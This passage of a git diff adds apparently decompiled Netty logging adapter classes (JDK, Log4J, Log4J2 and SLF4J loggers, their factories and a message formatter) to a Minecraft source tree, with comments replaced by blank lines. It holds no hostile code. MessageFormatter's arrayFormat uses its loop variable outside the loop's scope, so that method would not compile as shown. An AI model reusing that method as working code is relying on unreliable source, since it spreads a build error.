+
+
+  public boolean isTraceEnabled()
+  {
+    return logger.isLoggable(Level.FINEST);
+  }
+  
+
+
+
+
+
+
+  public void trace(String msg)
+  {
+    if (logger.isLoggable(Level.FINEST)) {
+      log(SELF, Level.FINEST, msg, null);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void trace(String format, Object arg)
+  {
+    if (logger.isLoggable(Level.FINEST)) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      log(SELF, Level.FINEST, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void trace(String format, Object argA, Object argB)
+  {
+    if (logger.isLoggable(Level.FINEST)) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      log(SELF, Level.FINEST, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void trace(String format, Object... argArray)
+  {
+    if (logger.isLoggable(Level.FINEST)) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, argArray);
+      log(SELF, Level.FINEST, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public void trace(String msg, Throwable t)
+  {
+    if (logger.isLoggable(Level.FINEST)) {
+      log(SELF, Level.FINEST, msg, t);
+    }
+  }
+  
+
+
+
+
+
+  public boolean isDebugEnabled()
+  {
+    return logger.isLoggable(Level.FINE);
+  }
+  
+
+
+
+
+
+
+  public void debug(String msg)
+  {
+    if (logger.isLoggable(Level.FINE)) {
+      log(SELF, Level.FINE, msg, null);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void debug(String format, Object arg)
+  {
+    if (logger.isLoggable(Level.FINE)) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      log(SELF, Level.FINE, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void debug(String format, Object argA, Object argB)
+  {
+    if (logger.isLoggable(Level.FINE)) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      log(SELF, Level.FINE, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void debug(String format, Object... argArray)
+  {
+    if (logger.isLoggable(Level.FINE)) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, argArray);
+      log(SELF, Level.FINE, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public void debug(String msg, Throwable t)
+  {
+    if (logger.isLoggable(Level.FINE)) {
+      log(SELF, Level.FINE, msg, t);
+    }
+  }
+  
+
+
+
+
+
+  public boolean isInfoEnabled()
+  {
+    return logger.isLoggable(Level.INFO);
+  }
+  
+
+
+
+
+
+
+  public void info(String msg)
+  {
+    if (logger.isLoggable(Level.INFO)) {
+      log(SELF, Level.INFO, msg, null);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void info(String format, Object arg)
+  {
+    if (logger.isLoggable(Level.INFO)) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      log(SELF, Level.INFO, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void info(String format, Object argA, Object argB)
+  {
+    if (logger.isLoggable(Level.INFO)) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      log(SELF, Level.INFO, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void info(String format, Object... argArray)
+  {
+    if (logger.isLoggable(Level.INFO)) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, argArray);
+      log(SELF, Level.INFO, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void info(String msg, Throwable t)
+  {
+    if (logger.isLoggable(Level.INFO)) {
+      log(SELF, Level.INFO, msg, t);
+    }
+  }
+  
+
+
+
+
+
+
+  public boolean isWarnEnabled()
+  {
+    return logger.isLoggable(Level.WARNING);
+  }
+  
+
+
+
+
+
+
+  public void warn(String msg)
+  {
+    if (logger.isLoggable(Level.WARNING)) {
+      log(SELF, Level.WARNING, msg, null);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void warn(String format, Object arg)
+  {
+    if (logger.isLoggable(Level.WARNING)) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      log(SELF, Level.WARNING, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void warn(String format, Object argA, Object argB)
+  {
+    if (logger.isLoggable(Level.WARNING)) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      log(SELF, Level.WARNING, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void warn(String format, Object... argArray)
+  {
+    if (logger.isLoggable(Level.WARNING)) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, argArray);
+      log(SELF, Level.WARNING, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void warn(String msg, Throwable t)
+  {
+    if (logger.isLoggable(Level.WARNING)) {
+      log(SELF, Level.WARNING, msg, t);
+    }
+  }
+  
+
+
+
+
+
+  public boolean isErrorEnabled()
+  {
+    return logger.isLoggable(Level.SEVERE);
+  }
+  
+
+
+
+
+
+
+  public void error(String msg)
+  {
+    if (logger.isLoggable(Level.SEVERE)) {
+      log(SELF, Level.SEVERE, msg, null);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void error(String format, Object arg)
+  {
+    if (logger.isLoggable(Level.SEVERE)) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      log(SELF, Level.SEVERE, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void error(String format, Object argA, Object argB)
+  {
+    if (logger.isLoggable(Level.SEVERE)) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      log(SELF, Level.SEVERE, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void error(String format, Object... arguments)
+  {
+    if (logger.isLoggable(Level.SEVERE)) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, arguments);
+      log(SELF, Level.SEVERE, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void error(String msg, Throwable t)
+  {
+    if (logger.isLoggable(Level.SEVERE)) {
+      log(SELF, Level.SEVERE, msg, t);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void log(String callerFQCN, Level level, String msg, Throwable t)
+  {
+    LogRecord record = new LogRecord(level, msg);
+    record.setLoggerName(name());
+    record.setThrown(t);
+    fillCallerData(callerFQCN, record);
+    logger.log(record);
+  }
+  
+  static final String SELF = JdkLogger.class.getName();
+  static final String SUPER = AbstractInternalLogger.class.getName();
+  
+
+
+
+
+
+  private static void fillCallerData(String callerFQCN, LogRecord record)
+  {
+    StackTraceElement[] steArray = new Throwable().getStackTrace();
+    
+    int selfIndex = -1;
+    for (int i = 0; i < steArray.length; i++) {
+      String className = steArray[i].getClassName();
+      if ((className.equals(callerFQCN)) || (className.equals(SUPER))) {
+        selfIndex = i;
+        break;
+      }
+    }
+    
+    int found = -1;
+    for (int i = selfIndex + 1; i < steArray.length; i++) {
+      String className = steArray[i].getClassName();
+      if ((!className.equals(callerFQCN)) && (!className.equals(SUPER))) {
+        found = i;
+        break;
+      }
+    }
+    
+    if (found != -1) {
+      StackTraceElement ste = steArray[found];
+      
+
+      record.setSourceClassName(ste.getClassName());
+      record.setSourceMethodName(ste.getMethodName());
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/JdkLoggerFactory.java b/src/minecraft/io/netty/util/internal/logging/JdkLoggerFactory.java
new file mode 100644
index 0000000..d639dd4
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/JdkLoggerFactory.java
@@ -0,0 +1,32 @@
+package io.netty.util.internal.logging;
+
+import java.util.logging.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JdkLoggerFactory
+  extends InternalLoggerFactory
+{
+  public JdkLoggerFactory() {}
+  
+  public InternalLogger newInstance(String name)
+  {
+    return new JdkLogger(Logger.getLogger(name));
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/Log4J2Logger.java b/src/minecraft/io/netty/util/internal/logging/Log4J2Logger.java
new file mode 100644
index 0000000..fd13395
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/Log4J2Logger.java
@@ -0,0 +1,180 @@
+package io.netty.util.internal.logging;
+
+import org.apache.logging.log4j.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Log4J2Logger
+  extends AbstractInternalLogger
+{
+  private static final long serialVersionUID = 5485418394879791397L;
+  private final transient Logger logger;
+  
+  Log4J2Logger(Logger logger)
+  {
+    super(logger.getName());
+    this.logger = logger;
+  }
+  
+  public boolean isTraceEnabled()
+  {
+    return logger.isTraceEnabled();
+  }
+  
+  public void trace(String msg)
+  {
+    logger.trace(msg);
+  }
+  
+  public void trace(String format, Object arg)
+  {
+    logger.trace(format, arg);
+  }
+  
+  public void trace(String format, Object argA, Object argB)
+  {
+    logger.trace(format, argA, argB);
+  }
+  
+  public void trace(String format, Object... arguments)
+  {
+    logger.trace(format, arguments);
+  }
+  
+  public void trace(String msg, Throwable t)
+  {
+    logger.trace(msg, t);
+  }
+  
+  public boolean isDebugEnabled()
+  {
+    return logger.isDebugEnabled();
+  }
+  
+  public void debug(String msg)
+  {
+    logger.debug(msg);
+  }
+  
+  public void debug(String format, Object arg)
+  {
+    logger.debug(format, arg);
+  }
+  
+  public void debug(String format, Object argA, Object argB)
+  {
+    logger.debug(format, argA, argB);
+  }
+  
+  public void debug(String format, Object... arguments)
+  {
+    logger.debug(format, arguments);
+  }
+  
+  public void debug(String msg, Throwable t)
+  {
+    logger.debug(msg, t);
+  }
+  
+  public boolean isInfoEnabled()
+  {
+    return logger.isInfoEnabled();
+  }
+  
+  public void info(String msg)
+  {
+    logger.info(msg);
+  }
+  
+  public void info(String format, Object arg)
+  {
+    logger.info(format, arg);
+  }
+  
+  public void info(String format, Object argA, Object argB)
+  {
+    logger.info(format, argA, argB);
+  }
+  
+  public void info(String format, Object... arguments)
+  {
+    logger.info(format, arguments);
+  }
+  
+  public void info(String msg, Throwable t)
+  {
+    logger.info(msg, t);
+  }
+  
+  public boolean isWarnEnabled()
+  {
+    return logger.isWarnEnabled();
+  }
+  
+  public void warn(String msg)
+  {
+    logger.warn(msg);
+  }
+  
+  public void warn(String format, Object arg)
+  {
+    logger.warn(format, arg);
+  }
+  
+  public void warn(String format, Object... arguments)
+  {
+    logger.warn(format, arguments);
+  }
+  
+  public void warn(String format, Object argA, Object argB)
+  {
+    logger.warn(format, argA, argB);
+  }
+  
+  public void warn(String msg, Throwable t)
+  {
+    logger.warn(msg, t);
+  }
+  
+  public boolean isErrorEnabled()
+  {
+    return logger.isErrorEnabled();
+  }
+  
+  public void error(String msg)
+  {
+    logger.error(msg);
+  }
+  
+  public void error(String format, Object arg)
+  {
+    logger.error(format, arg);
+  }
+  
+  public void error(String format, Object argA, Object argB)
+  {
+    logger.error(format, argA, argB);
+  }
+  
+  public void error(String format, Object... arguments)
+  {
+    logger.error(format, arguments);
+  }
+  
+  public void error(String msg, Throwable t)
+  {
+    logger.error(msg, t);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/Log4J2LoggerFactory.java b/src/minecraft/io/netty/util/internal/logging/Log4J2LoggerFactory.java
new file mode 100644
index 0000000..8af9d7b
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/Log4J2LoggerFactory.java
@@ -0,0 +1,35 @@
+package io.netty.util.internal.logging;
+
+import org.apache.logging.log4j.LogManager;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Log4J2LoggerFactory
+  extends InternalLoggerFactory
+{
+  public static final InternalLoggerFactory INSTANCE = new Log4J2LoggerFactory();
+  
+
+
+  @Deprecated
+  public Log4J2LoggerFactory() {}
+  
+
+
+  public InternalLogger newInstance(String name)
+  {
+    return new Log4J2Logger(LogManager.getLogger(name));
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/Log4JLogger.java b/src/minecraft/io/netty/util/internal/logging/Log4JLogger.java
new file mode 100644
index 0000000..5327148
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/Log4JLogger.java
@@ -0,0 +1,597 @@
+package io.netty.util.internal.logging;
+
+import org.apache.log4j.Level;
+import org.apache.log4j.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Log4JLogger
+  extends AbstractInternalLogger
+{
+  private static final long serialVersionUID = 2851357342488183058L;
+  final transient Logger logger;
+  static final String FQCN = Log4JLogger.class.getName();
+  
+  final boolean traceCapable;
+  
+
+  Log4JLogger(Logger logger)
+  {
+    super(logger.getName());
+    this.logger = logger;
+    traceCapable = isTraceCapable();
+  }
+  
+  private boolean isTraceCapable() {
+    try {
+      logger.isTraceEnabled();
+      return true;
+    } catch (NoSuchMethodError ignored) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean isTraceEnabled()
+  {
+    if (traceCapable) {
+      return logger.isTraceEnabled();
+    }
+    return logger.isDebugEnabled();
+  }
+  
+
+
+
+
+
+
+
+  public void trace(String msg)
+  {
+    logger.log(FQCN, traceCapable ? Level.TRACE : Level.DEBUG, msg, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void trace(String format, Object arg)
+  {
+    if (isTraceEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      logger.log(FQCN, traceCapable ? Level.TRACE : Level.DEBUG, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void trace(String format, Object argA, Object argB)
+  {
+    if (isTraceEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      logger.log(FQCN, traceCapable ? Level.TRACE : Level.DEBUG, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void trace(String format, Object... arguments)
+  {
+    if (isTraceEnabled()) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, arguments);
+      logger.log(FQCN, traceCapable ? Level.TRACE : Level.DEBUG, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void trace(String msg, Throwable t)
+  {
+    logger.log(FQCN, traceCapable ? Level.TRACE : Level.DEBUG, msg, t);
+  }
+  
+
+
+
+
+
+  public boolean isDebugEnabled()
+  {
+    return logger.isDebugEnabled();
+  }
+  
+
+
+
+
+
+
+  public void debug(String msg)
+  {
+    logger.log(FQCN, Level.DEBUG, msg, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void debug(String format, Object arg)
+  {
+    if (logger.isDebugEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      logger.log(FQCN, Level.DEBUG, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void debug(String format, Object argA, Object argB)
+  {
+    if (logger.isDebugEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      logger.log(FQCN, Level.DEBUG, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void debug(String format, Object... arguments)
+  {
+    if (logger.isDebugEnabled()) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, arguments);
+      logger.log(FQCN, Level.DEBUG, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public void debug(String msg, Throwable t)
+  {
+    logger.log(FQCN, Level.DEBUG, msg, t);
+  }
+  
+
+
+
+
+
+  public boolean isInfoEnabled()
+  {
+    return logger.isInfoEnabled();
+  }
+  
+
+
+
+
+
+
+  public void info(String msg)
+  {
+    logger.log(FQCN, Level.INFO, msg, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void info(String format, Object arg)
+  {
+    if (logger.isInfoEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      logger.log(FQCN, Level.INFO, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void info(String format, Object argA, Object argB)
+  {
+    if (logger.isInfoEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      logger.log(FQCN, Level.INFO, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void info(String format, Object... argArray)
+  {
+    if (logger.isInfoEnabled()) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, argArray);
+      logger.log(FQCN, Level.INFO, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void info(String msg, Throwable t)
+  {
+    logger.log(FQCN, Level.INFO, msg, t);
+  }
+  
+
+
+
+
+
+  public boolean isWarnEnabled()
+  {
+    return logger.isEnabledFor(Level.WARN);
+  }
+  
+
+
+
+
+
+
+  public void warn(String msg)
+  {
+    logger.log(FQCN, Level.WARN, msg, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void warn(String format, Object arg)
+  {
+    if (logger.isEnabledFor(Level.WARN)) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      logger.log(FQCN, Level.WARN, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void warn(String format, Object argA, Object argB)
+  {
+    if (logger.isEnabledFor(Level.WARN)) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      logger.log(FQCN, Level.WARN, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void warn(String format, Object... argArray)
+  {
+    if (logger.isEnabledFor(Level.WARN)) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, argArray);
+      logger.log(FQCN, Level.WARN, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void warn(String msg, Throwable t)
+  {
+    logger.log(FQCN, Level.WARN, msg, t);
+  }
+  
+
+
+
+
+
+  public boolean isErrorEnabled()
+  {
+    return logger.isEnabledFor(Level.ERROR);
+  }
+  
+
+
+
+
+
+
+  public void error(String msg)
+  {
+    logger.log(FQCN, Level.ERROR, msg, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void error(String format, Object arg)
+  {
+    if (logger.isEnabledFor(Level.ERROR)) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      logger.log(FQCN, Level.ERROR, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void error(String format, Object argA, Object argB)
+  {
+    if (logger.isEnabledFor(Level.ERROR)) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      logger.log(FQCN, Level.ERROR, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void error(String format, Object... argArray)
+  {
+    if (logger.isEnabledFor(Level.ERROR)) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, argArray);
+      logger.log(FQCN, Level.ERROR, ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void error(String msg, Throwable t)
+  {
+    logger.log(FQCN, Level.ERROR, msg, t);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/Log4JLoggerFactory.java b/src/minecraft/io/netty/util/internal/logging/Log4JLoggerFactory.java
new file mode 100644
index 0000000..101f495
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/Log4JLoggerFactory.java
@@ -0,0 +1,31 @@
+package io.netty.util.internal.logging;
+
+import org.apache.log4j.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Log4JLoggerFactory
+  extends InternalLoggerFactory
+{
+  public Log4JLoggerFactory() {}
+  
+  public InternalLogger newInstance(String name)
+  {
+    return new Log4JLogger(Logger.getLogger(name));
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/MessageFormatter.java b/src/minecraft/io/netty/util/internal/logging/MessageFormatter.java
new file mode 100644
index 0000000..7d3c324
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/MessageFormatter.java
@@ -0,0 +1,427 @@
+package io.netty.util.internal.logging;
+
+import java.io.PrintStream;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class MessageFormatter
+{
+  static final char DELIM_START = '{';
+  static final char DELIM_STOP = '}';
+  static final String DELIM_STR = "{}";
+  private static final char ESCAPE_CHAR = '\\';
+  
+  static FormattingTuple format(String messagePattern, Object arg)
+  {
+    return arrayFormat(messagePattern, new Object[] { arg });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static FormattingTuple format(String messagePattern, Object argA, Object argB)
+  {
+    return arrayFormat(messagePattern, new Object[] { argA, argB });
+  }
+  
+  static Throwable getThrowableCandidate(Object[] argArray) {
+    if ((argArray == null) || (argArray.length == 0)) {
+      return null;
+    }
+    
+    Object lastEntry = argArray[(argArray.length - 1)];
+    if ((lastEntry instanceof Throwable)) {
+      return (Throwable)lastEntry;
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  static FormattingTuple arrayFormat(String messagePattern, Object[] argArray)
+  {
+    Throwable throwableCandidate = getThrowableCandidate(argArray);
+    
+    if (messagePattern == null) {
+      return new FormattingTuple(null, argArray, throwableCandidate);
+    }
+    
+    if (argArray == null) {
+      return new FormattingTuple(messagePattern);
+    }
+    
+    int i = 0;
+    
+    StringBuffer sbuf = new StringBuffer(messagePattern.length() + 50);
+    
+
+    for (int L = 0; L < argArray.length; L++)
+    {
+      int j = messagePattern.indexOf("{}", i);
+      
+      if (j == -1)
+      {
+        if (i == 0) {
+          return new FormattingTuple(messagePattern, argArray, throwableCandidate);
+        }
+        
+
+        sbuf.append(messagePattern.substring(i, messagePattern.length()));
+        return new FormattingTuple(sbuf.toString(), argArray, throwableCandidate);
+      }
+      
+
+      if (isEscapedDelimeter(messagePattern, j)) {
+        if (!isDoubleEscaped(messagePattern, j)) {
+          L--;
+          sbuf.append(messagePattern.substring(i, j - 1));
+          sbuf.append('{');
+          i = j + 1;
+
+        }
+        else
+        {
+          sbuf.append(messagePattern.substring(i, j - 1));
+          deeplyAppendParameter(sbuf, argArray[L], new HashMap());
+          i = j + 2;
+        }
+      }
+      else {
+        sbuf.append(messagePattern.substring(i, j));
+        deeplyAppendParameter(sbuf, argArray[L], new HashMap());
+        i = j + 2;
+      }
+    }
+    
+
+    sbuf.append(messagePattern.substring(i, messagePattern.length()));
+    if (L < argArray.length - 1) {
+      return new FormattingTuple(sbuf.toString(), argArray, throwableCandidate);
+    }
+    return new FormattingTuple(sbuf.toString(), argArray, null);
+  }
+  
+
+
+  static boolean isEscapedDelimeter(String messagePattern, int delimeterStartIndex)
+  {
+    if (delimeterStartIndex == 0) {
+      return false;
+    }
+    return messagePattern.charAt(delimeterStartIndex - 1) == '\\';
+  }
+  
+  static boolean isDoubleEscaped(String messagePattern, int delimeterStartIndex)
+  {
+    return (delimeterStartIndex >= 2) && (messagePattern.charAt(delimeterStartIndex - 2) == '\\');
+  }
+  
+
+  private static void deeplyAppendParameter(StringBuffer sbuf, Object o, Map<Object[], Void> seenMap)
+  {
+    if (o == null) {
+      sbuf.append("null");
+      return;
+    }
+    if (!o.getClass().isArray()) {
+      safeObjectAppend(sbuf, o);
+
+
+    }
+    else if ((o instanceof boolean[])) {
+      booleanArrayAppend(sbuf, (boolean[])o);
+    } else if ((o instanceof byte[])) {
+      byteArrayAppend(sbuf, (byte[])o);
+    } else if ((o instanceof char[])) {
+      charArrayAppend(sbuf, (char[])o);
+    } else if ((o instanceof short[])) {
+      shortArrayAppend(sbuf, (short[])o);
+    } else if ((o instanceof int[])) {
+      intArrayAppend(sbuf, (int[])o);
+    } else if ((o instanceof long[])) {
+      longArrayAppend(sbuf, (long[])o);
+    } else if ((o instanceof float[])) {
+      floatArrayAppend(sbuf, (float[])o);
+    } else if ((o instanceof double[])) {
+      doubleArrayAppend(sbuf, (double[])o);
+    } else {
+      objectArrayAppend(sbuf, (Object[])o, seenMap);
+    }
+  }
+  
+  private static void safeObjectAppend(StringBuffer sbuf, Object o)
+  {
+    try {
+      String oAsString = o.toString();
+      sbuf.append(oAsString);
+    } catch (Throwable t) {
+      System.err.println("SLF4J: Failed toString() invocation on an object of type [" + o.getClass().getName() + ']');
+      
+
+      t.printStackTrace();
+      sbuf.append("[FAILED toString()]");
+    }
+  }
+  
+  private static void objectArrayAppend(StringBuffer sbuf, Object[] a, Map<Object[], Void> seenMap)
+  {
+    sbuf.append('[');
+    if (!seenMap.containsKey(a)) {
+      seenMap.put(a, null);
+      int len = a.length;
+      for (int i = 0; i < len; i++) {
+        deeplyAppendParameter(sbuf, a[i], seenMap);
+        if (i != len - 1) {
+          sbuf.append(", ");
+        }
+      }
+      
+      seenMap.remove(a);
+    } else {
+      sbuf.append("...");
+    }
+    sbuf.append(']');
+  }
+  
+  private static void booleanArrayAppend(StringBuffer sbuf, boolean[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1) {
+        sbuf.append(", ");
+      }
+    }
+    sbuf.append(']');
+  }
+  
+  private static void byteArrayAppend(StringBuffer sbuf, byte[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1) {
+        sbuf.append(", ");
+      }
+    }
+    sbuf.append(']');
+  }
+  
+  private static void charArrayAppend(StringBuffer sbuf, char[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1) {
+        sbuf.append(", ");
+      }
+    }
+    sbuf.append(']');
+  }
+  
+  private static void shortArrayAppend(StringBuffer sbuf, short[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1) {
+        sbuf.append(", ");
+      }
+    }
+    sbuf.append(']');
+  }
+  
+  private static void intArrayAppend(StringBuffer sbuf, int[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1) {
+        sbuf.append(", ");
+      }
+    }
+    sbuf.append(']');
+  }
+  
+  private static void longArrayAppend(StringBuffer sbuf, long[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1) {
+        sbuf.append(", ");
+      }
+    }
+    sbuf.append(']');
+  }
+  
+  private static void floatArrayAppend(StringBuffer sbuf, float[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1) {
+        sbuf.append(", ");
+      }
+    }
+    sbuf.append(']');
+  }
+  
+  private static void doubleArrayAppend(StringBuffer sbuf, double[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1) {
+        sbuf.append(", ");
+      }
+    }
+    sbuf.append(']');
+  }
+  
+  private MessageFormatter() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/Slf4JLogger.java b/src/minecraft/io/netty/util/internal/logging/Slf4JLogger.java
new file mode 100644
index 0000000..03b4720
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/Slf4JLogger.java
@@ -0,0 +1,183 @@
+package io.netty.util.internal.logging;
+
+import org.slf4j.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Slf4JLogger
+  extends AbstractInternalLogger
+{
+  private static final long serialVersionUID = 108038972685130825L;
+  private final transient Logger logger;
+  
+  Slf4JLogger(Logger logger)
+  {
+    super(logger.getName());
+    this.logger = logger;
+  }
+  
+  public boolean isTraceEnabled()
+  {
+    return logger.isTraceEnabled();
+  }
+  
+  public void trace(String msg)
+  {
+    logger.trace(msg);
+  }
+  
+  public void trace(String format, Object arg)
+  {
+    logger.trace(format, arg);
+  }
+  
+  public void trace(String format, Object argA, Object argB)
